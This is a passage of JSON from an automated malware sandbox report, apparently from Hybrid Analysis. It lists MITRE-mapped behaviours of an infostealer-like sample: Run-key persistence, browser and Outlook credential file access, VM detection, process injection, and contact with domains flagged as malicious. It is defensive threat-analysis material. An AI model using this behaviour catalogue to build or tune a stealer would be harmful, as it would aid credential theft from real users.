\"00000000-00005752.00000001.275263.00E81000.00000020.mdmp\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; File: \"00000000-00005752.00000001.275263.00E81000.00000020.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"$5f","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"bounty-38813904328784694.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"771EB22C64.EXE\"; Value: \"%TEMP%\\10734210101\\771eb22c64.exe\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"bounty-38813904328784694.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\10734360101\\111.exe\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"bounty-38813904328784694.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\10734360101\\111.exe\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"xO50QoO.exe\" claims program is from Thu Jan 1 00:00:00 1970","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"PE file contains executable resources","description":"xO50QoO.exe has PE file in resource with name: \"CUSTOM\" and filetype:PE32 executable for MS Windows 4.00 (DLL)\n Intel i386\n 5 sections","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":10,"id":"static-97","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"todoexy.su\" has been identified as malicious\n Contacted Domain: \"prebwle.su\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"malicious","category":"Network Related","name":"Makes HTTPS connections using an insecure TLS/SSL version","description":"Connection was made using TLSv1.0 [tls.handshake.version: 0x0301]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":10,"id":"network-53","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load content from resource","description":"Observed function \"ResourceManager.GetObject\" in \"dll_1_\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-112","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"file/memory contains long string with (Indicator: \"OpenService\"; Source: \"00000000-00002864.00000000.289412.00F96000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet file contains encryption/decryption functions","description":"Observed namespace \"System.Security.Cryptography\" and MemberReference \"CreateDecryptor\" in \"dll_1_\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-134","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet file contains function to dynamically call methods at runtime","description":"Observed namespace \"Microsoft.VisualBasic.CompilerServices\" and MemberReference \"LateCall\" in \"dll_1_\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":1,"id":"static-135","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\PhysicalDrive%d; Source: \"00000000-00002864.00000000.289412.01189000.00000002.mdmp\")\n Found string - \\\\.\\Scsi%d:; Source: \"00000000-00002864.00000000.289412.01189000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform CryptoStream operations (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.CryptoStream\" and TypeReference \"FlushFinalBlock\" in \"dll_1_\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-166","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform crypto operations","description":"Observed namespace \"System.Security.Cryptography\" in [Source: \"dll_1_\"]","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-118","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric crypto operations","description":"Observed namespace \"System.Security.Cryptography.RijndaelManaged\" and TypeReference \".ctor\" in \"dll_1_\"","origin":"Static Parser","mitre_attack_id":"T1573.001","relevance":1,"id":"static-140","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric decryption (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateDecryptor\" in \"dll_1_\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-168","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric encryption (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateEncryptor\" in \"dll_1_\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-165","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system file/directory information (.NET)","description":"Observed dotnet function \"GetDirectories\" in \"dll_1_\"\n Observed dotnet function \"GetFiles\" in \"dll_1_\"","origin":"Static Parser","mitre_attack_id":"T1082","relevance":3,"id":"static-200","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"file/memory contains long string(Source: \"00000000-00002864.00000000.289412.00F96000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"$60","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerates all mounted drives","description":"GetDriveTypeW@KERNEL32.DLL at 00000000-00004304-29954-898-0022F82F\n GetDriveTypeW@KERNEL32.DLL at 00000000-00004304-29954-913-002444B8","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-66","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute WMI queries (Dotnet)","description":"Observed namespace \"System.Management.ManagementObjectSearcher\" in \"dll_1_\"","origin":"Static Parser","mitre_attack_id":"T1047","relevance":1,"id":"static-114","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine timezone","description":"GetTimeZoneInformation@KERNEL32.DLL at 00000000-00004304-29954-1442-0023D741","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-48","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"bounty-38813904328784694.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")\n \"S8nPHvo.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"file/memory contains long string with (Indicator: \"OpenSCManager\"; Source: \"00000000-00002864.00000000.289412.00F96000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00002864.00000000.289412.00F96000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"file/memory contains long string with (Indicator: \"DeviceIoControl\"; Source: \"00000000-00002864.00000000.289412.00F96000.00000002.mdmp\")\n Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00002864.00000000.289412.01189000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to download files with network (Dotnet)","description":"Observed Namespace \"System.Net.WebClient\" and MemberReference \"add_DownloadFileCompleted\" in \"dll_1_\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadFileAsync\" in \"dll_1_\"","origin":"Static Parser","mitre_attack_id":"T1105","relevance":1,"id":"static-99","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Dotnet)","description":"Observed function \"Process.get_StartInfo\" in \"dll_1_\"\n Observed function \"Process.Start\" in \"dll_1_\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-111","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"Observed unmanaged function \"CreateRoundRectRgn\" in \"dll_1_\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"S8nPHvo.exe\" loaded module \"%WINDIR%\\System32\\riched20.dll\" at F28F0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"MSBuild.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 72170000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"dll_1_\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Possibly references Golang binary related string","description":"\"Go build ID: \"OeOC198U2IQ6tcTFOzl8/1Y4mlmviQBiPPJnCXgcW/UF60Iu2ZrTomWouTDsGp/gW_rhX4RKFgMGFFTljui\"\" (Indicator: \"Go build ID: \"OeOC198U2IQ6tcTFOzl8/1Y4mlmviQBiPPJnCXgcW/UF60Iu2ZrTomWouTDsGp/gW_rhX4RKFgMGFFTljui\")\" in Source: 00000000-00002864.00000000.289412.00EE1000.00000020.mdmp","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-74","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"\"oleacc.dll\" has type \"PE32+ executable (DLL) (console) x86-64 for MS Windows 19 sections\"- Location: [%TEMP%\\RarSFX0\\oleacc.dll]- [targetUID: 00000000-00007804]\n \"fuckingdllENCR_1_.dll\" has type \"Unknown\"- [targetUID: N/A]\n \"Bunifu_UI_v1.5.3.dll\" has type \"PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly for MS Windows 3 sections\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (Dotnet)","description":"Observed Namespace \"System.Net.WebClient\" and MemberReference \".ctor\" in \"dll_1_\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"add_DownloadProgressChanged\" in \"dll_1_\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"add_DownloadFileCompleted\" in \"dll_1_\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadFileAsync\" in \"dll_1_\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"get_Headers\" in \"dll_1_\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"UploadString\" in \"dll_1_\"","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-158","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide interface for network protocols (Dotnet)","description":"Observed namespace \"System.Net\" in \"dll_1_\"","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-110","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload data with network (Dotnet)","description":"Observed Namespace \"System.Net.WebClient\" and MemberReference \"UploadString\" in \"dll_1_\"","origin":"Static Parser","mitre_attack_id":"T1005","relevance":1,"id":"static-142","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection","description":"Wow64DisableWow64FsRedirection@KERNEL32.DLL at 00000000-00004304-29954-1102-00208380","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070","relevance":1,"id":"stream-78","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen information (Dotnet)","description":"Observed Namespace \"System.Windows.Forms::Screen\" and MemberReference \"get_PrimaryScreen\" in \"dll_1_\"","origin":"Static Parser","mitre_attack_id":"T1113","relevance":1,"id":"static-164","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve entry point of a process loaded into memory (API string)","description":"Found reference to API \"AddressOfEntryPoint\" (Indicator: \"AddressOfEntryPoint\"; Source: \"00000000-00002864.00000000.289412.00F96000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-311","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"SetSystemPowerState\" (Indicator: \"SetSystemPowerState\"; Source: \"00000000-00001188.00000000.287586.96780000.00000004.mdmp, 00000000-00001188.00000001.289496.96780000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"\"xO50QoO.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Local State\"\n \"xO50QoO.exe\" trying to open a file \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Local State\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtUnmapViewOfSection@NTDLL.DLL at 00000000-00004304-29954-1079-00208170","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \"AmsiScanBuffer\" (Indicator: \"amsiscanbuffer\") in Source: 00000000-00003984.00000003.317569.00330000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"00000000-00003984.00000003.317569.3FE64000.00000002.mdmp\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"00000000-00003984.00000003.317569.3FE64000.00000002.mdmp\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00004416-00000C2B-3892168264\")\n Found reference to API \"CryptUnprotectDataW\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00004416-00000C2B-3892168805\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; File: \"00002360.00000938.324585443.00402000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"00000000-00003984.00000003.317569.3FE64000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify sandbox environment running process","description":"Found string \"VBoxTray.exe\" (Indicator: \"vboxtray.exe\"; Source: \"00000000-00000972.00000000.300024.00420000.00000004.mdmp\")\n Found string \"VBoxService.exe\" (Indicator: \"vboxservice.exe\"; Source: \"00000000-00000972.00000000.300024.00420000.00000004.mdmp\")\n Found string \"VGAuthService.exe\" (Indicator: \"VGAuthService.exe\"; Source: \"00000000-00000972.00000000.300024.00420000.00000004.mdmp\")\n Found string \"vmtoolsd.exe\" (Indicator: \"vmtoolsd.exe\"; Source: \"00000000-00000972.00000000.300024.00420000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-666","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve default language settings","description":"\"S8nPHvo.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00003984)\n \"2c8FJYQ.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00004416)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-149","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"svchost015.exe\" queries volume information of \"C:\\\" at 00000000-00002096-00000046-43019222","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Attempts to read Outlook-related files (file access)","description":"\"2c8FJYQ.exe\" tries to access a file \"C:\\Users\\%OSUSER%\\Documents\\Outlook Files\\Outlook.pst\"\n \"2c8FJYQ.exe\" tries to access a file \"%USERPROFILE%\\Documents\\Outlook Files\\Outlook.pst\"","origin":"API Call","mitre_attack_id":"T1114.001","relevance":3,"id":"api-157","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"D:\\Projects\\WinRAR\\sfx\\build\\sfxzip64\\Release\\sfxzip.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to create a new user account (API string)","description":"file/memory contains long string with (Indicator: \"NetUserAdd\"; File: \"00000000-00003452.00000000.295515.009B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1136.001","relevance":1,"id":"string-214","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"file/memory contains long string with (Indicator: \"LogonUser\"; File: \"00000000-00003452.00000000.295515.009B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"2c8FJYQ.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at E77B0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"2c8FJYQ.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at EE200000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"2c8FJYQ.exe\" called \"NtQueueApcThread\" (UID: 00000000-00004416)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"2c8FJYQ.exe\" trying to access LNK file \"C:\\Users\\%OSUSER%\\Desktop\\YCL.lnk\"\n \"2c8FJYQ.exe\" trying to access LNK file \"%USERPROFILE%\\Desktop\\YCL.lnk\"\n \"svchost015.exe\" trying to access LNK file \"C:\\Users\\%OSUSER%\\Desktop\\YCL.LNK\"\n \"svchost015.exe\" trying to access LNK file \"C:\\Users\\%OSUSER%\\Desktop\\YCL.lnk\"\n \"svchost015.exe\" trying to access LNK file \"%USERPROFILE%\\Desktop\\YCL.LNK\"\n \"svchost015.exe\" trying to access LNK file \"%USERPROFILE%\\Desktop\\YCL.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on process \"00000000-00002096\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"file/memory contains long string with (Indicator: \"GetEnvironmentVariable\"; File: \"00000000-00003452.00000000.295515.009B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains reference to Outlook data files path","description":"Found string \"%USERPROFILE%\\Documents\\Outlook Files\\*\" (Indicator: \"\\documents\\outlook files\"; Source: \"00000000-00004416-00000C2D-1618014597748494059\")","origin":"File/Memory","mitre_attack_id":"T1114.001","relevance":3,"id":"string-570","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found string related to Windows Vault/Credentials location","description":"\"%LOCALAPPDATA%\\Microsoft\\Credentials\\*\" (Indicator: \"\\microsoft\\credentials\"; File: \"00000000-00004416-00000C2D-9286339696400996587\")","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":3,"id":"string-197","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to delete a user account from a server (API string)","description":"file/memory contains long string with (Indicator: \"NetUserDel\"; File: \"00000000-00003452.00000000.295515.009B6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1531","relevance":1,"id":"string-216","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"2c8FJYQ.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004416)","origin":"API 